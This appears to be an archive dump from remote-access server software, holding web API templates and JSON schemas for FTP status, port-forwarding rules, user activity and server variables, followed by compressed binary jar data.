					"sname": "#CONN.SNAME#",
					"sid": <?usemacro NUMBER(CONN.SID)?>,
					"uname": "#CONN.UNAME#",
					"uid": <?usemacro NUMBER(CONN.UID)?>,		
					"status": <?usemacro NUMBER(CONN.STATUS)?>,
					"addrpi": "#CONN.ADDRPI#",
					"addrdtp": "#CONN.ADDRDTP#",
					"path": "#CONN.PATH#",					
					"download": <?usemacro FORMAT.SZX(CONN.DOWNLOAD)?>,
					"upload": <?usemacro FORMAT.SZX(CONN.UPLOAD)?>,
					"commdown": <?usemacro FORMAT.SZX(CONN.COMMDOWN)?>,
					"commup": <?usemacro FORMAT.SZX(CONN.COMMUP)?>,
					"left": <?usemacro FORMAT.SZX(CONN.LEFT)?>,
					"speed": <?usemacro FORMAT.SZK(CONN.SPEED)?>,
					"start": <?usemacro FORMAT.DTMS(CONN.START)?>,
					"finish": <?usemacro FORMAT.IN(CONN.FINISH)?>,
					"sslpi": "#CONN.SSLPI#",
					"ssldtp": "#CONN.SSLDTP#"
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}
;P8api\server\ftp_status.schematƍ{
	"result": {
	    	
		"ftp_message": { "_type": "string" },
		
		"connections" : {
			"_type": "array",
			"_element": {
				"cid": { "_type": "number" },
				"sname": { "_type": "string" },
				"sid": { "_type": "number" },
				"uname": { "_type": "string" },
				"uid": { "_type": "number" },
				"status": { "_type": "number" },
				"addrpi": { "_type": "string" },
				"addrdtp": { "_type": "string" },
				"path": { "_type": "string" },	
				"download": { "_type": "string" },
				"upload": { "_type": "string" },
				"commdown": { "_type": "string" },
				"commup": { "_type": "string" },
				"left": { "_type": "string" },
				"speed": { "_type": "string" },
				"start": { "_type": "string" },
				"finish": { "_type": "string" },
				"sslpi": { "_type": "string" },
				"ssldtp": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
*9(api\server\pfwd.json<<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "GET"
		if REQ.IDX
			set REQ.OP = "get"
		else
			set REQ.OP = "list"
		endif	
	elseif REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM.EXIST(REQ.IDX,"rule index", "RULEINDEX")
		set REQ.OP = "set"
	elseif REQ.HTTPMETHOD == "DELETE"
		usemacro CHECKREQPARAM.EXIST(REQ.IDX,"rule index", "RULEINDEX")	
		set REQ.OP = "del"
	elseif REQ.HTTPMETHOD == "POST"
		set REQ.OP = "add"
	endif
	
	action "cfgpfwd"
	usemacro ERRORHANDLER()

?>{"result": {

	"default_defer": <?usemacro FORMAT.SPN(DEFAULT.DEFER)?>,
	"default_timeout": <?usemacro FORMAT.SPN(DEFAULT.TIMEOUT)?>,

	"ipfps": [
	    <?if IPFPS
	    	usemacro CommaInit()
			enum IPFPS
				usemacro CommaDo()?>
				{
					"name": "#IPFP.NAME#"
				}
			<?next
		endif?>		
	],
	
	"ips": [
	    <?if IPS
	    	usemacro CommaInit()
			enum IPS
				usemacro CommaDo()?>
				{
					"addr": "#IP.ADDR#",
					"host": "#IP.HOST#"
				}
			<?next
		endif?>		
	],

	"rules": [
	    <?if RULES
	    	usemacro CommaInit()
			enum RULES
				usemacro CommaDo()
		endif?>
			{
				"index": <?usemacro NUMBER(RULE.INDEX)?>,
				"descr": "#RULE.DESCR#",
				"enabled": <?usemacro BOOL(RULE.ENABLED)?>,					
				"defer": <?usemacro FORMAT.SPN(RULE.DEFER)?>,
				"timeout": <?usemacro FORMAT.SPN(RULE.TIMEOUT)?>,					
				"profile": "#RULE.PROFILE#",					
				"in_addr": "#RULE.IN.ADDR#",
				"in_port": <?usemacro NUMBER(RULE.IN.PORT)?>,
				"in_type": "#RULE.IN.TYPE#",
				"out_addr": "#RULE.OUT.ADDR#",
				"out_port": <?usemacro NUMBER(RULE.OUT.PORT)?>,
				"out_type": "#RULE.OUT.TYPE#"															
			}
		<?if RULES
			next
		endif?>		
	]
			
},
"lang":{}
}
jf,api\server\pfwd.schema{
	"result": {
	    	
		"default_defer": { "_type": "string" },
		"default_timeout": { "_type": "string" },
		
		"ipfps" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" }
			}
		},
									
		"ips" : {
			"_type": "array",
			"_element": {
				"addr": { "_type": "string" },
				"host": { "_type": "string" }
			}
		},
		
		"rules" : {
			"_type": "array",
			"_element": {
				"index": { "_type": "number" },
				"descr": { "_type": "string" },
				"enabled": { "_type": "bool" },
				"defer": { "_type": "string" },
				"timeout": { "_type": "string" },
				"profile": { "_type": "string" },
				"in_addr": { "_type": "string" },
				"in_port": { "_type": "number" },
				"in_type": { "_type": "string" },
				"out_addr": { "_type": "string" },
				"out_port": { "_type": "number" },
				"out_type": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
I>6api\server\pfwd_status.jsonP<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()
	
	action "statpfwd"
	usemacro ERRORHANDLER()

?>{"result": {

	"rules": [
	    <?if RULES
	    	usemacro CommaInit()
			enum RULES
				usemacro CommaDo()?>
				{
					"type": <?usemacro NUMBER(RULE.TYPE)?>,
					"index": <?usemacro NUMBER(RULE.INDEX)?>,
					"in_proto": "#RULE.IN.PROTO#",
					"in_host": "#RULE.IN.HOST#",
					"in_port": <?usemacro NUMBER(RULE.IN.PORT)?>,
					"out_proto": "#RULE.OUT.PROTO#",
					"out_host": "#RULE.OUT.HOST#",
					"out_port": <?usemacro NUMBER(RULE.OUT.PORT)?>,
					"status": "#RULE.STATUS#",					
					"pumps": <?usemacro NUMBER(RULE.PUMPS)?>,
					"bytes_current_in": "#RULE.BYTES.CURRENT.IN#",
					"bytes_current_comprin": "#RULE.BYTES.CURRENT.COMPRIN#",
					"bytes_all_in": "#RULE.BYTES.ALL.IN#",
					"bytes_all_comprin": "#RULE.BYTES.ALL.COMPRIN#",
					"bytes_current_out": "#RULE.BYTES.CURRENT.OUT#",
					"bytes_current_comprout": "#RULE.BYTES.CURRENT.COMPROUT#",
					"bytes_all_out": "#RULE.BYTES.ALL.OUT#",
					"bytes_all_comprout": "#RULE.BYTES.ALL.COMPROUT#",
					"idle": <?usemacro FORMAT.SPN(RULE.IDLE)?>,
					"conns": <?usemacro NUMBER(RULE.CONNS)?>,
					"conns_all": <?usemacro NUMBER(RULE.CONNSALL)?>,
					"error": "#RULE.ERROR#"
				}
			<?next
		endif?>		
	]
			
},
"lang":{}
}U:api\server\pfwd_status.schema y{
	"result": {
	    	
		"rules" : {
			"_type": "array",
			"_element": {
				"type": { "_type": "number" },
				"index": { "_type": "number" },
				"in_proto": { "_type": "string" },
				"in_host": { "_type": "string" },
				"in_port": { "_type": "number" },
				"out_proto": { "_type": "string" },
				"out_host": { "_type": "string" },
				"out_port": { "_type": "number" },
				"status": { "_type": "string" },			
				"pumps": { "_type": "number" },
				"bytes_current_in": { "_type": "string" },
				"bytes_current_comprin": { "_type": "string" },
				"bytes_all_in": { "_type": "string" },
				"bytes_all_comprin": { "_type": "string" },
				"bytes_current_out": { "_type": "string" },
				"bytes_current_comprout": { "_type": "string" },
				"bytes_all_out": { "_type": "string" },
				"bytes_all_comprout": { "_type": "string" },
				"idle": { "_type": "string" },
				"conns": { "_type": "number" },
				"conns_all": { "_type": "number" },
				"error": { "_type": "string" }
			}
		}							
			
	},
	"lang": {}
}
Ʀ~,api\user\activity.json;<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>

<?
	// Sort out wrong platforms
	usemacro NORA()

	// ============================================== HTTPMETHOD.GET ==============================================
	if REQ.HTTPMETHOD == "GET"
	
		set RETWDATA="1"
		
	else		
			set status s="400 Http method unknown"
			?>{"result": {"code": "error", "message": "Http method unknown: #REQ.HTTPMETHOD#"}, "lang": {"PRODUCTNAME": "&PRODUCTNAME&", "PRODUCTABBR": "&PRODUCTABBR&"}}<?
			exit			
	endif
	// ============================================== END HTTPMETHOD ==============================================

	action "getactiveuser"
	
?>

{"result": {
	<?if REQ.HTTPMETHOD == "GET"?>	
		"userActive": <? if ACTIVEUSERNAME == "NONE" ?>false<? else ?>true<?endif?>,
		"lastInput": "#ACTIVEUSERLASTINPUT#",
		"userActiveMeasurement": "#ACTIVEUSERMEASSUREMENT#",
		"SRVNAME": "#SRVNAME#",
		"USERNAME": "#USERNAME#"
	<?endif?>
},
"lang":{}
}
qapi\vars.jsonJ.o<?ratmpl?><?
//
// Return ...
//
	nocache

?>{"result": null,
"lang": {
<?

if REQ.VARNAME
?>
<?if REQ.VARNAME=="ADDRESS"?>"value": "$ADDRESS$"<?endif?>
<?if REQ.VARNAME=="BROWSERNAME"?>"value": "$BROWSERNAME$"<?endif?>
<?if REQ.VARNAME=="CLIENTIP"?>"value": "$CLIENTIP$"<?endif?>
<?if REQ.VARNAME=="COMPUTERNAME"?>"value": "$COMPUTERNAME$"<?endif?>
<?if REQ.VARNAME=="CONN.SNAME"?>"value": "$CONN.SNAME$"<?endif?>
<?if REQ.VARNAME=="COPYRIGHTSHORT"?>"value": "$COPYRIGHTSHORT$"<?endif?>
<?if REQ.VARNAME=="CPU.CLOCK"?>"value": "$CPU.CLOCK$"<?endif?>
<?if REQ.VARNAME=="CPU.NAME"?>"value": "$CPU.NAME$"<?endif?>
<?if REQ.VARNAME=="DISPLAY.DEPTH"?>"value": "$DISPLAY.DEPTH$"<?endif?>
<?if REQ.VARNAME=="DISPLAY.FREQ"?>"value": "$DISPLAY.FREQ$"<?endif?>
<?if REQ.VARNAME=="DISPLAY.HEIGHT"?>"value": "$DISPLAY.HEIGHT$"<?endif?>
<?if REQ.VARNAME=="DISPLAY.WIDTH"?>"value": "$DISPLAY.WIDTH$"<?endif?>
<?if REQ.VARNAME=="DRIVE.MAXN"?>"value": "$DRIVE.MAXN$"<?endif?>
<?if REQ.VARNAME=="ERRGROUP"?>"value": "$ERRGROUP$"<?endif?>
<?if REQ.VARNAME=="FEEDBACK.MAXLENGTH"?>"value": "$FEEDBACK.MAXLENGTH$"<?endif?>
<?if REQ.VARNAME=="FTPGNAME"?>"value": "$FTPGNAME$"<?endif?>
<?if REQ.VARNAME=="FTPGROUP.NAME"?>"value": "$FTPGROUP.NAME$"<?endif?>
<?if REQ.VARNAME=="FTPSERVER.NAME"?>"value": "$FTPSERVER.NAME$"<?endif?>
<?if REQ.VARNAME=="FTPSNAME"?>"value": "$FTPSNAME$"<?endif?>
<?if REQ.VARNAME=="FTPUNAME"?>"value": "$FTPUNAME$"<?endif?>
<?if REQ.VARNAME=="FTPUSER.NAME"?>"value": "$FTPUSER.NAME$"<?endif?>
<?if REQ.VARNAME=="GLBDESKITEMS.OWNER"?>"value": "$GLBDESKITEMS.OWNER$"<?endif?>
<?if REQ.VARNAME=="IPLOCKEDOUT"?>"value": "$IPLOCKEDOUT$"<?endif?>
<?if REQ.VARNAME=="IS9X"?>"value": "$IS9X$"<?endif?>
<?if REQ.VARNAME=="ISNT"?>"value": "$ISNT$"<?endif?>
<?if REQ.VARNAME=="ISUNIX"?>"value": "$ISUNIX$"<?endif?>
<?if REQ.VARNAME=="LICENSE.COUNT"?>"value": "$LICENSE.COUNT$"<?endif?>
<?if REQ.VARNAME=="LICENSE.EXPIRES"?>"value": "$LICENSE.EXPIRES$"<?endif?>
<?if REQ.VARNAME=="LICENSE.PEERS"?>"value": "$LICENSE.PEERS$"<?endif?>
<?if REQ.VARNAME=="LICENSE.SCOPE"?>"value": "$LICENSE.SCOPE$"<?endif?>
<?if REQ.VARNAME=="LICENSE.TRIALDAYS"?>"value": "$LICENSE.TRIALDAYS$"<?endif?>
<?if REQ.VARNAME=="LICENSE.TRIALDAYSGONE"?>"value": "$LICENSE.TRIALDAYSGONE$"<?endif?>
<?if REQ.VARNAME=="LICENSE.TRIALDAYSLEFT"?>"value": "$LICENSE.TRIALDAYSLEFT$"<?endif?>
<?if REQ.VARNAME=="LINK"?>"value": "$LINK$"<?endif?>
<?if REQ.VARNAME=="LMIHOME"?>"value": "$LMIHOME$"<?endif?>
<?if REQ.VARNAME=="LOCKOUT.SNAME"?>"value": "$LOCKOUT.SNAME$"<?endif?>
<?if REQ.VARNAME=="MAXJOURNALSIZE"?>"value": "$MAXJOURNALSIZE$"<?endif?>
<?if REQ.VARNAME=="MAXPIN"?>"value": "$MAXPIN$"<?endif?>
<?if REQ.VARNAME=="MINPIN"?>"value": "$MINPIN$"<?endif?>
<?if REQ.VARNAME=="NAME"?>"value": "$NAME$"<?endif?>
<?if REQ.VARNAME=="NEWPIN"?>"value": "$NEWPIN$"<?endif?>
<?if REQ.VARNAME=="OBJECT.PATH"?>"value": "$OBJECT.PATH$"<?endif?>
<?if REQ.VARNAME=="PAGE.LENGHT"?>"value": "$PAGE.LENGHT$"<?endif?>
<?if REQ.VARNAME=="PAGE.LENGTH"?>"value": "$PAGE.LENGTH$"<?endif?>
<?if REQ.VARNAME=="PAGE.NUM"?>"value": "$PAGE.NUM$"<?endif?>
<?if REQ.VARNAME=="PERM.SNAME"?>"value": "$PERM.SNAME$"<?endif?>
<?if REQ.VARNAME=="PRODUCTABBR"?>"value": "$PRODUCTABBR$"<?endif?>
<?if REQ.VARNAME=="PRODUCTMAJORVER"?>"value": "$PRODUCTMAJORVER$"<?endif?>
<?if REQ.VARNAME=="PRODUCTNAME"?>"value": "$PRODUCTNAME$"<?endif?>
<?if REQ.VARNAME=="PRODUCTNAMENEW.VERSION"?>"value": "$PRODUCTNAMENEW.VERSION$"<?endif?>
<?if REQ.VARNAME=="PRODUCTNAMETIO.SNAME"?>"value": "$PRODUCTNAMETIO.SNAME$"<?endif?>
<?if REQ.VARNAME=="PWD.EXPIRES"?>"value": "$PWD.EXPIRES$"<?endif?>
<?if REQ.VARNAME=="PWD.MINLEN"?>"value": "$PWD.MINLEN$"<?endif?>
<?if REQ.VARNAME=="RAINST.COMPUTER"?>"value": "$RAINST.COMPUTER$"<?endif?>
<?if REQ.VARNAME=="RAINST.ORDENADOR"?>"value": "$RAINST.ORDENADOR$"<?endif?>
<?if REQ.VARNAME=="RANEW.VERSION"?>"value": "$RANEW.VERSION$"<?endif?>
<?if REQ.VARNAME=="RA.SUPPORT"?>"value": "$RA.SUPPORT$"<?endif?>
<?if REQ.VARNAME=="RAWORK.REQUESTS"?>"value": "$RAWORK.REQUESTS$"<?endif?>
<?if REQ.VARNAME=="RAWORK.SENT"?>"value": "$RAWORK.SENT$"<?endif?>
<?if REQ.VARNAME=="RAWORK.UPSINCE"?>"value": "$RAWORK.UPSINCE$"<?endif?>
<?if REQ.VARNAME=="REBOOTAT.ADDR"?>"value": "$REBOOTAT.ADDR$"<?endif?>
<?if REQ.VARNAME=="REBOOTAT.TIME"?>"value": "$REBOOTAT.TIME$"<?endif?>
<?if REQ.VARNAME=="REBOOTAT.USER"?>"value": "$REBOOTAT.USER$"<?endif?>
<?if REQ.VARNAME=="REMOTEADDRESS"?>"value": "$REMOTEADDRESS$"<?endif?>
<?if REQ.VARNAME=="REMOTEUSER"?>"value": "$REMOTEUSER$"<?endif?>
<?if REQ.VARNAME=="RFSDRIVELETTER"?>"value": "$RFSDRIVELETTER$"<?endif?>
<?if REQ.VARNAME=="RSAERR"?>"value": "$RSAERR$"<?endif?>
<?if REQ.VARNAME=="SCRIPT.NAME"?>"value": "$SCRIPT.NAME$"<?endif?>
<?if REQ.VARNAME=="SCRIPTRETVAL"?>"value": "$SCRIPTRETVAL$"<?endif?>
<?if REQ.VARNAME=="SERVICE.DISPLAY"?>"value": "$SERVICE.DISPLAY$"<?endif?>
<?if REQ.VARNAME=="SETTINGUPDATED"?>"value": "$SETTINGUPDATED$"<?endif?>
<?if REQ.VARNAME=="SHARE.MAIL"?>"value": "$SHARE.MAIL$"<?endif?>
<?if REQ.VARNAME=="SRVADDR"?>"value": "$SRVADDR$"<?endif?>
<?if REQ.VARNAME=="SRVDIR"?>"value": "$SRVDIR$"<?endif?>
<?if REQ.VARNAME=="SRVNAME"?>"value": "$SRVNAME$"<?endif?>
<?if REQ.VARNAME=="SRVPORT"?>"value": "$SRVPORT$"<?endif?>
<?if REQ.VARNAME=="SRVPROTO"?>"value": "$SRVPROTO$"<?endif?>
<?if REQ.VARNAME=="USER"?>"value": "$USER$"<?endif?>
<?if REQ.VARNAME=="USER.SNAME"?>"value": "$USER.SNAME$"<?endif?>
<?if REQ.VARNAME=="VERSION"?>"value": "$VERSION$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.EMAIL"?>"value": "$WEBSVC.EMAIL$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.FILEXFER"?>"value": "$WEBSVC.FILEXFER$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.GATEWAY"?>"value": "$WEBSVC.GATEWAY$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.NAM"?>"value": "$WEBSVC.NAM$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.NAME"?>"value": "$WEBSVC.NAME$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.SESSION"?>"value": "$WEBSVC.SESSION$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.SHARING"?>"value": "$WEBSVC.SHARING$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.SITE"?>"value": "$WEBSVC.SITE$"<?endif?>
<?if REQ.VARNAME=="WEBSVC.TIMEON"?>"value": "$WEBSVC.TIMEON$"<?endif?>
<?


	else


?>
<?if ADDRESS ?>"ADDRESS": "$ADDRESS$", <?endif?>
<?if BROWSERNAME ?>"BROWSERNAME": "$BROWSERNAME$", <?endif?>
<?if CLIENTIP ?>"CLIENTIP": "$CLIENTIP$", <?endif?>
<?if COMPUTERNAME ?>"COMPUTERNAME": "$COMPUTERNAME$", <?endif?>
<?if CONN.SNAME ?>"CONN.SNAME": "$CONN.SNAME$", <?endif?>
<?if COPYRIGHTSHORT ?>"COPYRIGHTSHORT": "$COPYRIGHTSHORT$", <?endif?>
<?if CPU.CLOCK ?>"CPU.CLOCK": "$CPU.CLOCK$", <?endif?>
<?if CPU.NAME ?>"CPU.NAME": "$CPU.NAME$", <?endif?>
<?if DISPLAY.DEPTH ?>"DISPLAY.DEPTH": "$DISPLAY.DEPTH$", <?endif?>
<?if DISPLAY.FREQ ?>"DISPLAY.FREQ": "$DISPLAY.FREQ$", <?endif?>
<?if DISPLAY.HEIGHT ?>"DISPLAY.HEIGHT": "$DISPLAY.HEIGHT$", <?endif?>
<?if DISPLAY.WIDTH ?>"DISPLAY.WIDTH": "$DISPLAY.WIDTH$", <?endif?>
<?if DRIVE.MAXN ?>"DRIVE.MAXN": "$DRIVE.MAXN$", <?endif?>
<?if ERRGROUP ?>"ERRGROUP": "$ERRGROUP$", <?endif?>
<?if FEEDBACK.MAXLENGTH ?>"FEEDBACK.MAXLENGTH": "$FEEDBACK.MAXLENGTH$", <?endif?>
<?if FTPGNAME ?>"FTPGNAME": "$FTPGNAME$", <?endif?>
<?if FTPGROUP.NAME ?>"FTPGROUP.NAME": "$FTPGROUP.NAME$", <?endif?>
<?if FTPSERVER.NAME ?>"FTPSERVER.NAME": "$FTPSERVER.NAME$", <?endif?>
<?if FTPSNAME ?>"FTPSNAME": "$FTPSNAME$", <?endif?>
<?if FTPUNAME ?>"FTPUNAME": "$FTPUNAME$", <?endif?>
<?if FTPUSER.NAME ?>"FTPUSER.NAME": "$FTPUSER.NAME$", <?endif?>
<?if GLBDESKITEMS.OWNER ?>"GLBDESKITEMS.OWNER": "$GLBDESKITEMS.OWNER$", <?endif?>
<?if IPLOCKEDOUT ?>"IPLOCKEDOUT": "$IPLOCKEDOUT$", <?endif?>
<?if IS9X ?>"IS9X": "$IS9X$", <?endif?>
<?if ISNT ?>"ISNT": "$ISNT$", <?endif?>
<?if ISUNIX ?>"ISUNIX": "$ISUNIX$", <?endif?>
<?if LICENSE.COUNT ?>"LICENSE.COUNT": "$LICENSE.COUNT$", <?endif?>
<?if LICENSE.EXPIRES ?>"LICENSE.EXPIRES": "$LICENSE.EXPIRES$", <?endif?>
<?if LICENSE.PEERS ?>"LICENSE.PEERS": "$LICENSE.PEERS$", <?endif?>
<?if LICENSE.SCOPE ?>"LICENSE.SCOPE": "$LICENSE.SCOPE$", <?endif?>
<?if LICENSE.TRIALDAYS ?>"LICENSE.TRIALDAYS": "$LICENSE.TRIALDAYS$", <?endif?>
<?if LICENSE.TRIALDAYSGONE ?>"LICENSE.TRIALDAYSGONE": "$LICENSE.TRIALDAYSGONE$", <?endif?>
<?if LICENSE.TRIALDAYSLEFT ?>"LICENSE.TRIALDAYSLEFT": "$LICENSE.TRIALDAYSLEFT$", <?endif?>
<?if LINK ?>"LINK": "$LINK$", <?endif?>
<?if LMIHOME ?>"LMIHOME": "$LMIHOME$", <?endif?>
<?if LOCKOUT.SNAME ?>"LOCKOUT.SNAME": "$LOCKOUT.SNAME$", <?endif?>
<?if MAXJOURNALSIZE ?>"MAXJOURNALSIZE": "$MAXJOURNALSIZE$", <?endif?>
<?if MAXPIN ?>"MAXPIN": "$MAXPIN$", <?endif?>
<?if MINPIN ?>"MINPIN": "$MINPIN$", <?endif?>
<?if NAME ?>"NAME": "$NAME$", <?endif?>
<?if NEWPIN ?>"NEWPIN": "$NEWPIN$", <?endif?>
<?if OBJECT.PATH ?>"OBJECT.PATH": "$OBJECT.PATH$", <?endif?>
<?if PAGE.LENGHT ?>"PAGE.LENGHT": "$PAGE.LENGHT$", <?endif?>
<?if PAGE.LENGTH ?>"PAGE.LENGTH": "$PAGE.LENGTH$", <?endif?>
<?if PAGE.NUM ?>"PAGE.NUM": "$PAGE.NUM$", <?endif?>
<?if PERM.SNAME ?>"PERM.SNAME": "$PERM.SNAME$", <?endif?>
<?if PRODUCTABBR ?>"PRODUCTABBR": "$PRODUCTABBR$", <?endif?>
<?if PRODUCTMAJORVER ?>"PRODUCTMAJORVER": "$PRODUCTMAJORVER$", <?endif?>
<?if PRODUCTNAME ?>"PRODUCTNAME": "$PRODUCTNAME$", <?endif?>
<?if PRODUCTNAMENEW.VERSION ?>"PRODUCTNAMENEW.VERSION": "$PRODUCTNAMENEW.VERSION$", <?endif?>
<?if PRODUCTNAMETIO.SNAME ?>"PRODUCTNAMETIO.SNAME": "$PRODUCTNAMETIO.SNAME$", <?endif?>
<?if PWD.EXPIRES ?>"PWD.EXPIRES": "$PWD.EXPIRES$", <?endif?>
<?if PWD.MINLEN ?>"PWD.MINLEN": "$PWD.MINLEN$", <?endif?>
<?if RAINST.COMPUTER ?>"RAINST.COMPUTER": "$RAINST.COMPUTER$", <?endif?>
<?if RAINST.ORDENADOR ?>"RAINST.ORDENADOR": "$RAINST.ORDENADOR$", <?endif?>
<?if RANEW.VERSION ?>"RANEW.VERSION": "$RANEW.VERSION$", <?endif?>
<?if RA.SUPPORT ?>"RA.SUPPORT": "$RA.SUPPORT$", <?endif?>
<?if RAWORK.REQUESTS ?>"RAWORK.REQUESTS": "$RAWORK.REQUESTS$", <?endif?>
<?if RAWORK.SENT ?>"RAWORK.SENT": "$RAWORK.SENT$", <?endif?>
<?if RAWORK.UPSINCE ?>"RAWORK.UPSINCE": "$RAWORK.UPSINCE$", <?endif?>
<?if REBOOTAT.ADDR ?>"REBOOTAT.ADDR": "$REBOOTAT.ADDR$", <?endif?>
<?if REBOOTAT.TIME ?>"REBOOTAT.TIME": "$REBOOTAT.TIME$", <?endif?>
<?if REBOOTAT.USER ?>"REBOOTAT.USER": "$REBOOTAT.USER$", <?endif?>
<?if REMOTEADDRESS ?>"REMOTEADDRESS": "$REMOTEADDRESS$", <?endif?>
<?if REMOTEUSER ?>"REMOTEUSER": "$REMOTEUSER$", <?endif?>
<?if RFSDRIVELETTER ?>"RFSDRIVELETTER": "$RFSDRIVELETTER$", <?endif?>
<?if RSAERR ?>"RSAERR": "$RSAERR$", <?endif?>
<?if SCRIPT.NAME ?>"SCRIPT.NAME": "$SCRIPT.NAME$", <?endif?>
<?if SCRIPTRETVAL ?>"SCRIPTRETVAL": "$SCRIPTRETVAL$", <?endif?>
<?if SERVICE.DISPLAY ?>"SERVICE.DISPLAY": "$SERVICE.DISPLAY$", <?endif?>
<?if SETTINGUPDATED ?>"SETTINGUPDATED": "$SETTINGUPDATED$", <?endif?>
<?if SHARE.MAIL ?>"SHARE.MAIL": "$SHARE.MAIL$", <?endif?>
<?if SRVADDR ?>"SRVADDR": "$SRVADDR$", <?endif?>
<?if SRVDIR ?>"SRVDIR": "$SRVDIR$", <?endif?>
<?if SRVNAME ?>"SRVNAME": "$SRVNAME$", <?endif?>
<?if SRVPORT ?>"SRVPORT": "$SRVPORT$", <?endif?>
<?if SRVPROTO ?>"SRVPROTO": "$SRVPROTO$", <?endif?>
<?if USER ?>"USER": "$USER$", <?endif?>
<?if USER.SNAME ?>"USER.SNAME": "$USER.SNAME$", <?endif?>
<?if VERSION ?>"VERSION": "$VERSION$", <?endif?>
<?if WEBSVC.EMAIL ?>"WEBSVC.EMAIL": "$WEBSVC.EMAIL$", <?endif?>
<?if WEBSVC.FILEXFER ?>"WEBSVC.FILEXFER": "$WEBSVC.FILEXFER$", <?endif?>
<?if WEBSVC.GATEWAY ?>"WEBSVC.GATEWAY": "$WEBSVC.GATEWAY$", <?endif?>
<?if WEBSVC.NAM ?>"WEBSVC.NAM": "$WEBSVC.NAM$", <?endif?>
<?if WEBSVC.NAME ?>"WEBSVC.NAME": "$WEBSVC.NAME$", <?endif?>
<?if WEBSVC.SESSION ?>"WEBSVC.SESSION": "$WEBSVC.SESSION$", <?endif?>
<?if WEBSVC.SHARING ?>"WEBSVC.SHARING": "$WEBSVC.SHARING$", <?endif?>
<?if WEBSVC.SITE ?>"WEBSVC.SITE": "$WEBSVC.SITE$", <?endif?>
<?if WEBSVC.TIMEON ?>"WEBSVC.TIMEON": "$WEBSVC.TIMEON$", <?endif?>
'': null<?endif?>
}}3Ӻ&applet\perfview.jarO~kPKLeFDMETA-INF/MANIFEST.MFmK8}W\bf([f).A܃"f1Pmr&z
<3C(^^^
Z~ա*]X>k)?$/>
z5'8IŌ4+/HX̫"~7iBv>FunAwV`&{-*,\y
_Pᄈ/T\۾=`<9_bIVgFpj'K߉X#>h	jP"j'!v
\N)LwLɢX*[0f/21i!;3/D\Uds6cͩ^N6Dj+ëkΟů4"fμtq}ٳɛF+O{^*/l)Ku|*}
Fִ:=wY'ՠsE]a1}tq.25vyEE^ωwAc@L*ed*qBBL9uVRK(oh.<8gc˭Ip=Lr}tgDlfa8oP$db:PFxl+cLć/+ԖGw^DLԪ_OQiRbw.A?z,X8yʇicjl+OZ	 *XZlC}SqC5x[hnkseug
!g.T1ako7)ZX?5;DJ/8V1ݳ^(96_PK5PKMeFDMETA-INF/LOGMEIN.SFmIHMwpы/IY@tQ{yHjW9UuUV(o7mV
Y<N,uM]ܞ7`î7픥ľhGM?kV_n,lvjh7Bnz|«e9$]ѧDԶA6~5R">o'|mr({Ck#bDWG%
-%ƃrʱ`8ux.#	ޘ^u˨5&qC~)I,ERJ/]yTV{KB+/b?q8N`xL+qq?aQ9XKYEi֛.nυD#Bm9v!zXt4VQCU*Y
|au!)h84Pr0sZgZ_T㢇U ޺D7֍+0hUntJ:]NO?>trL4dAI"`5flYVX@ހ%z32\
 #ZxݮCzʽ=J~%pS̖j]
x=r>VqBD|si/1{
PZ I&4'3Tέ}38GO/RWߑ/ 8O9gW'AiQ|(=29beZ-qĨo-0m\F4c|=Z&mCzW@_пhAo`7uWz2HJNĬƑ	<̌d?PK{3GPKMeFDMETA-INF/LOGMEIN.RSAXy8kLY#<dɒHeI16LL''!%TI˱odl%9?q=ys>d-KΉdJ]\h~$BxNg2ȒL$@w6f((X_o	9匚sH{Zao"J%lZp2@=#$4$z t'hcWbSX?(J&bi$,+gkBͼ4VŋL	 J':5YElb|@`s@OS54zx[e7&d`P?7	
0M#Ww-50*Q߄ݏ-8S܉C_(_lS{7w4ιt¬Ep/}NhĢ;hAuF5-͈v5ſkxR;SZzWȡ]ͩe"YSRSh{-EOj˟ymX㟠)!-e\Kؐ!<*W)jw<P	Lh;0&|p]MC[ƌ۾A 0E-(å(~v	x1*h(!8(p:(
w;
l2K桄%Y<+"=ZvoPGt-^wZ``5"[=ǶF4?J%L--y
ޚ}@h4Q$;Ir٥]436>~u~s_Tp;)&W1;zggC`X#o>!tLb]EtQx(q]=򈮜ۚL9Ȗ6Gj™<bzE]Q$唘cu0dxK*H6"X27lʡ,}a;N̍q菚~wO>&9oI98sHcwG|уѺvǜ_l_ze jCmKPeZn˒2@kS'hؑ4,m!	t,;4(ҁM%`!ZؼHu3+	!CX364~pxX&FJ FӖ($ෑtbTd"BѱO J:ȮdE]\67~*Ɔ'uWO(%FG*DH\A2]IJۻ]$7IQY>kW┍zbTۅCs5^x22_o]O`w	n>?abς_<lp';g7Yy<s:0󬭒wJMl3zXӏ67kpu&{xOxd+ ?fz]Dn
V)\Ą@	\
`y32(=𙚙8:!҈l^ffk8
mlX!`k')@ipQ/b[G%H$[&I8@n
,/iY?9
L?OC>dQ@4R!-UԮ
ϛr4MMA>D	Q47QphlVӭ7ʫsyFλoo³SH}9<FUEjŚDh稅
Uc.܉ko:
s
5mn<n*XGy*pdurOVgקNnSkY&w1:LhelGNN3Xv'G~0ѳwÄ!.Ci6Δ;L}h~z^jaԑ;9\&'E^!+Y|RL47Ī_XulÜ$k,efz@cEn,s;*uR[L˖&¯K<)*1}\C"~ױv~/<jeZ_*ϣKLtc
:<ҏQv:

